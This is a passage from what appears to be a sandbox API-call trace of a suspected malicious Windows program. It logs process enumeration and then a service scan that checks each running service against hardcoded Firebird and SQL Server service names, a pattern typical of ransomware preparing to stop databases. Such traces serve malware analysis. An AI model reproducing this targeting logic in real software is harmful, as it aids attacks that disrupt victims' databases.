lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.660] lstrlenW (lpString="winlogon.exe") returned 12 [0170.660] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.660] lstrlenW (lpString="services.exe") returned 12 [0170.660] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.661] lstrlenW (lpString="lsass.exe") returned 9 [0170.661] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.661] lstrlenW (lpString="lsm.exe") returned 7 [0170.661] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.661] lstrlenW (lpString="svchost.exe") returned 11 [0170.661] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.662] lstrlenW (lpString="svchost.exe") returned 11 [0170.662] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.662] lstrlenW (lpString="svchost.exe") returned 11 [0170.662] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.662] lstrlenW (lpString="svchost.exe") returned 11 [0170.662] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.663] lstrlenW (lpString="svchost.exe") returned 11 [0170.663] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.663] lstrlenW (lpString="audiodg.exe") returned 11 [0170.663] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.663] lstrlenW (lpString="svchost.exe") returned 11 [0170.663] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.664] lstrlenW (lpString="explorer.exe") returned 12 [0170.664] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.664] lstrlenW (lpString="dwm.exe") returned 7 [0170.664] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.664] lstrlenW (lpString="svchost.exe") returned 11 [0170.664] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.665] lstrlenW (lpString="n.exe") returned 5 [0170.665] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.665] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.665] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.665] lstrlenW (lpString="svchost.exe") returned 11 [0170.665] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.666] lstrlenW (lpString="taskhost.exe") returned 12 [0170.666] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.666] lstrlenW (lpString="reader_sl.exe") returned 13 [0170.666] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.666] lstrlenW (lpString="n.exe") returned 5 [0170.666] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.667] lstrlenW (lpString="n.exe") returned 5 [0170.667] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0170.667] CloseHandle (hObject=0x320) returned 1 [0170.667] Sleep (dwMilliseconds=0x1f4) [0171.206] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0171.206] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0171.206] GetLastError () returned 0xea [0171.206] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0171.206] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0171.207] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0171.207] lstrlenW (lpString="Appinfo") returned 7 [0171.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.207] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.208] lstrlenW (lpString="AudioSrv") returned 8 [0171.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0171.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0171.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0171.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0171.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0171.208] lstrlenW (lpString="BFE") returned 3 [0171.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.208] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.208] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.208] lstrlenW (lpString="CryptSvc") returned 8 [0171.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.208] lstrlenW (lpString="CscService") returned 10 [0171.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0171.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0171.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0171.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0171.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0171.209] lstrlenW (lpString="DcomLaunch") returned 10 [0171.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.209] lstrlenW (lpString="Dhcp") returned 4 [0171.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.209] lstrlenW (lpString="Dnscache") returned 8 [0171.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.209] lstrlenW (lpString="DPS") returned 3 [0171.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.209] lstrlenW (lpString="eventlog") returned 8 [0171.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0171.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0171.209] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0171.209] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0171.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0171.209] lstrlenW (lpString="EventSystem") returned 11 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.210] lstrlenW (lpString="gpsvc") returned 5 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.210] lstrlenW (lpString="iphlpsvc") returned 8 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.210] lstrlenW (lpString="LanmanServer") returned 12 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.210] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.210] lstrlenW (lpString="lmhosts") returned 7 [0171.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.211] lstrlenW (lpString="MMCSS") returned 5 [0171.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0171.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0171.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0171.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0171.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0171.211] lstrlenW (lpString="MpsSvc") returned 6 [0171.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.211] lstrlenW (lpString="Netman") returned 6 [0171.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0171.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0171.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0171.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0171.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0171.211] lstrlenW (lpString="netprofm") returned 8 [0171.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.211] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.211] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.211] lstrlenW (lpString="NlaSvc") returned 6 [0171.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.212] lstrlenW (lpString="nsi") returned 3 [0171.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.212] lstrlenW (lpString="PcaSvc") returned 6 [0171.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.212] lstrlenW (lpString="PlugPlay") returned 8 [0171.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.212] lstrlenW (lpString="Power") returned 5 [0171.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.212] lstrlenW (lpString="ProfSvc") returned 7 [0171.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.213] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.213] lstrlenW (lpString="RpcSs") returned 5 [0171.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.213] lstrlenW (lpString="SamSs") returned 5 [0171.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.213] lstrlenW (lpString="Schedule") returned 8 [0171.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.213] lstrlenW (lpString="SENS") returned 4 [0171.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.214] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.214] lstrlenW (lpString="Spooler") returned 7 [0171.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.214] lstrlenW (lpString="SysMain") returned 7 [0171.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0171.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0171.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0171.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0171.214] lstrlenW (lpString="Themes") returned 6 [0171.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0171.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0171.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0171.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0171.214] lstrlenW (lpString="TrkWks") returned 6 [0171.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0171.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0171.215] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0171.215] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0171.215] lstrcmpiW 